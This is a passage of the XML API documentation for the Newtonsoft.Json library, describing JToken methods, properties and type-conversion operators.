cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFromAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The\n            <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains \n            the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFromAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The\n            <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains \n            the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.EqualityComparer\">\n            <summary>\n            Gets a comparer that can compare two tokens for value equality.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\"/> that can compare two nodes for value equality.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Parent\">\n            <summary>\n            Gets or sets the parent.\n            </summary>\n            <value>The parent.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Root\">\n            <summary>\n            Gets the root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepEquals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Compares the values of two tokens, including the values of all descendant tokens.\n            </summary>\n            <param name=\"t1\">The first <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"t2\">The second <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns><c>true</c> if the tokens are equal; otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Next\">\n            <summary>\n            Gets the next sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the next sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Previous\">\n            <summary>\n            Gets the previous sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the previous sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Path\">\n            <summary>\n            Gets the path of the JSON token. \n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAfterSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately after this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added after this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddBeforeSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately before this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added before this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Ancestors\">\n            <summary>\n            Returns a collection of the ancestor tokens of this token.\n            </summary>\n            <returns>A collection of the ancestor tokens of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AncestorsAndSelf\">\n            <summary>\n            Returns a collection of tokens that contain this token, and the ancestors of this token.\n            </summary>\n            <returns>A collection of tokens that contain this token, and the ancestors of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AfterSelf\">\n            <summary>\n            Returns a collection of the sibling tokens after this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens after this tokens, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.BeforeSelf\">\n            <summary>\n            Returns a collection of the sibling tokens before this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens before this token, in document order.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Value``1(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key converted to the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to convert the token to.</typeparam>\n            <param name=\"key\">The token key.</param>\n            <returns>The converted token value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children``1\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order, filtered by the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to filter the child tokens on.</typeparam>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Remove\">\n            <summary>\n            Removes this token from its parent.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Replace(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Replaces this token with the specified token.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString\">\n            <summary>\n            Returns the indented JSON for this token.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            The indented JSON for this token.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString(Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Returns the JSON for this token using the given formatting and converters.\n            </summary>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n            <returns>The JSON for this token using the given formatting and converters.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Boolean\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTimeOffset\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Boolean}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTime}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTimeOffset}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Decimal}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Double}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Char}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Char\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.SByte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Byte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.SByte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTime\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Single}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Decimal\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Double\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Single\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.String\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte[]\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Guid\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Guid\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Guid}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.TimeSpan\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.TimeSpan}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Uri\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Uri\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Boolean)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTimeOffset)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Byte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.SByte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit 